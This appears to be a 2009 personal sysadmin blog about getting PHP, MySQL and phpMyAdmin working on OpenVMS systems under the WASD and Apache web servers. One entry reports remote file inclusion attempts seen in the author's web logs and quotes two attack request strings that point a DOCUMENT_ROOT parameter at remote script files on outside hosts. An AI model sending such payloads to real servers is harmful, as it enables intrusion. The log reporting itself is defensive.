30-aug-2009

PHP + MySQL
To find out what caused the inability of PHPMyAdmin on Eden, the emulated Alpha, to reach the database on the real one (Diana), I checked whether port 3306 is opened on the Windows environment. I also installed MySQL on the Vista machine, in case the problem was local on that machine.
As it turned out: the Windows installation of MySQL has no problem reaching the Diana one: start a MySQL client on the Windows machine, and connect to the database on Diana proved possible, without a problem. But still, connecting using PHPMyAdmin on Eden still didn’t work.
So I installed MySQL on Eden, following the instructions on the VMS-MySQL wiki, but wasn’t able to login once I changed the passwords, not even from the commandline. So I deleted the database and created a new one, but this time, I did not logout and tried to access it by PHPMyADMIN while the session was still open. It works fine, though now I’m too short in pagefile; I got a message within my interactive session:

mysql>
%SYSTEM-W-PAGEFRAG, page file filling up; please create more space

mysql>

After I disconnected from the session I wasn’t able to login again. Nor did PHPMyAdmin, for some reason.
I may have forgotton something…

So it looks as if connecting over the network, via PHPMyAdmin, doesn’t work yet. Locally, there is no problem (as long as the access isn’t blocked – by the McAfee or Windows firewalls on the laptop). I prefer this to be solved, I won’t need to pass all data from Diana to Eden, to test WordPress….

26-Aug-2009

Getting on with PHP
I found s number of reasons why PHPMyAdmin didn’t work.
First, I had copied the PHP.INI file that comes with PHPWASD, and running PHP_INFO revealed that the MySQL extension wasn’t loaded – no wonder, since it was missing in that file. So I included all that came with the HP distribution, and now PHPMySQL was known as an extension. Next, PHP_Info show it was available, so the next stop was running PHPMyAdmin.
First it shows that module MCRYPT couldn’t be loaded. It wasn’t mentioned in neither of tyhe PHP.INI files, but it does exist on the [extensions] directory. Stopped the PHPWASD images, and restarted PHPMyADMIN: Now the module is loaded; However, There was a complaint:

plus that changing the language (default, in IE8 on my laptop, was Dutch) or entering user-name and password, and hitting the Start button, both ended in an error page: the page could not be displayed. WASD’s WATCH utility however showed there was nothing wrong with the PHP output…Switched the browser to comptability mode (I’m using IE8 – by company standard) seemed to solve the problem of switching language but login again failed to show the right page.
Firefox had no issue whatsoever: No error message, and the default language popping up was English. Login gave the message the server did not respond, but at least I got that message.

Since PHPMyadmin runs on the laptop, and the database resides on the server, that might well be a cause of problems. I didn’t create a service op port the default port, but that should not be required.
I changed the configuration file: modified the database-server host from name to address, just to check: but still the server does not respond.
Telnet to that port should be possible, or at least, wait for input. But it keeps trying to connect, and at end times out:

$ telnet 192.168.0.2 3306
%TELNET-I-TRYING, Trying ... 192.168.0.2
%TELNET-E-CONNFAIL, Failed to connect to remote host
-SYSTEM-F-TIMEOUT, device timeout

Next is to check if that really is the problem: use a linux distribution that runs Apache and PHPMyAdmin to connect to the MySQl database on Diana – from the LAN since the external access to the MySqL database is locked – for obvious reasons.

UPDATE
I had a brainwave just before falling asleep: I suddenly realized there is a good reason why it didn’t work
These tests are run on an emulated Alpha on my laptop, and the emulator wasn’t started with network access in mind; it can be accessed from my laptop using the console (which is a PuTTY window on the default port of the emulator), and the loopback interface on Vista. That makes it possible to access the webserver on the emulator from the laptop only, and allows the emulated system no access to anywhere else than the laptop. The database however is located on Diana – on the network – and therefore, there is no access to the database from the emulated Alpha, in any way…Well, next time start the emulator sharing the NIC on the laptop, and see what happens.

Holidays are over
Students getting back to their computers, switch them on again and try hacking again. Or their systems are infected with some rootkit of botnet, spreading spam and trying to break into web- and FTP sites. I can see it in the logfiles; the number of rejected mail messages and HTTP requests has been low for a few weeks but is now getting to more normal proportions.

21-Aug-2009

Korean visitors
Checking yesterday’s system load this morning, there had been a spike in buffered IO about 22:30; Checked the webserver access log, and found just one address 203.236.100.30 that fired requests, hoping one would pass it to another machine to break in. all requests contain a string:

/?_SERVER[DOCUMENT_ROOT]=http://www.nglschool.co.kr/zfxid.txt?

This morning, even more similar attempts have been made from address 211.206.123.177 appeared at 5:30, keeping the system even more busy for a while trying to script:

/?_SERVER[DOCUMENT_ROOT]=http://www.seorakhoney.com/shop/fx29id2.txt??

Using WHIOS, it looks like both addresses are registered in Korea: The first one is registered to kornet.kr, the second one to broadnet.com.
There have been some more attempts, none of them as heavy as the the second mentioned: that one boosted the server to handle 300 requests per minute, for a small system like this, and accessing the PHP and Wiki engines. Without a problem: all requests ended in a 403 error.
The next hurdle on PHP
As found yesterday, it seems to work: PHP_INFO shows what it should show. So it’s time to handle the real stuff: I downloaded the latest version of phpmyadmin and had it access the database on Diana in it’s configuration. After some mapping issues, PHPMyAdmin did start, but next issued an error “extension “Session” cannot not be loaded; chedck your configuration” though the file does exists and the webservers do have READ + EXECUTE access to all files – and the directory path th them. So I thought, but some seemed missing the required ACL, so I added the lines. Next, MyPhpAdmin complains that the MySQL extension couldn’t be loaded – and it is obvious I need just that one.

If that doesn’t work, there is no need to test WordPress….

20-Aug-2009

PHP under WASD
After the success with PHP on Apache, it was time to get things running on WASD as well, and again, I used the emulated system on the new company laptop. Getting WASD to run wasn’t a big issue, fairly straight forward, but it took some time to get it running in some way – you don’t set up a system very regularly, normally, so you tend to forget how things work. But Mark’s documentation is so good, it’s not a bug deal to get the administration panel accessible. And because of the WATCH utility, this simply is a requirement.
Building the PHP engine against the files created by Mark Berryman (that run fine under Apache) again was problem at all -once the logical used to refer to PHPSHR were set up properly. Setting up the rest however, to get the PHP scripts (still in the Apache enviroment!) be executed, was not that simple. Luckily, I could refer to the settings on Diana – you’re looking to that machine’s output this very moment – made a few things clear, and these must be noted to Mark as well, because what happens is non-standard. The issues I found work on Diana for all blogs, so I copied the structure. Now it works – and is shows the right stuff, equal as under Apache except for the server signature, of course).
I also found a possible cause for the strange behaviour in one of the admin pages.
All issues will be passed to Mark Daniel.

Next is a test of MySQL and a blog. It requires MySQL set up on the emulator, and copying some data into it.

18-Aug-2009

PHP again
Had some spare time today so I checked Mark Berryman’s PHP-executables that I downloaded yesterday, using Apache and MOD_PHP on an emulated system (that’s the advantage – you can take your alpha anywhere 🙂 ) PHP_INFO indeed shows all information required; PCRE in built-in, and the MySQL extension is built against the lastest version (5.1.23) – which is great.
Installing it on Diana however is a bit troublesome since I don’t want the blogs to be offline too long. I did built PHPWASD with the new versions but to enable it, I’ll need to do a bit more than just replace the files; And because I’ve got other things to do, it’ll have to wait a few days.
But all is set – almost.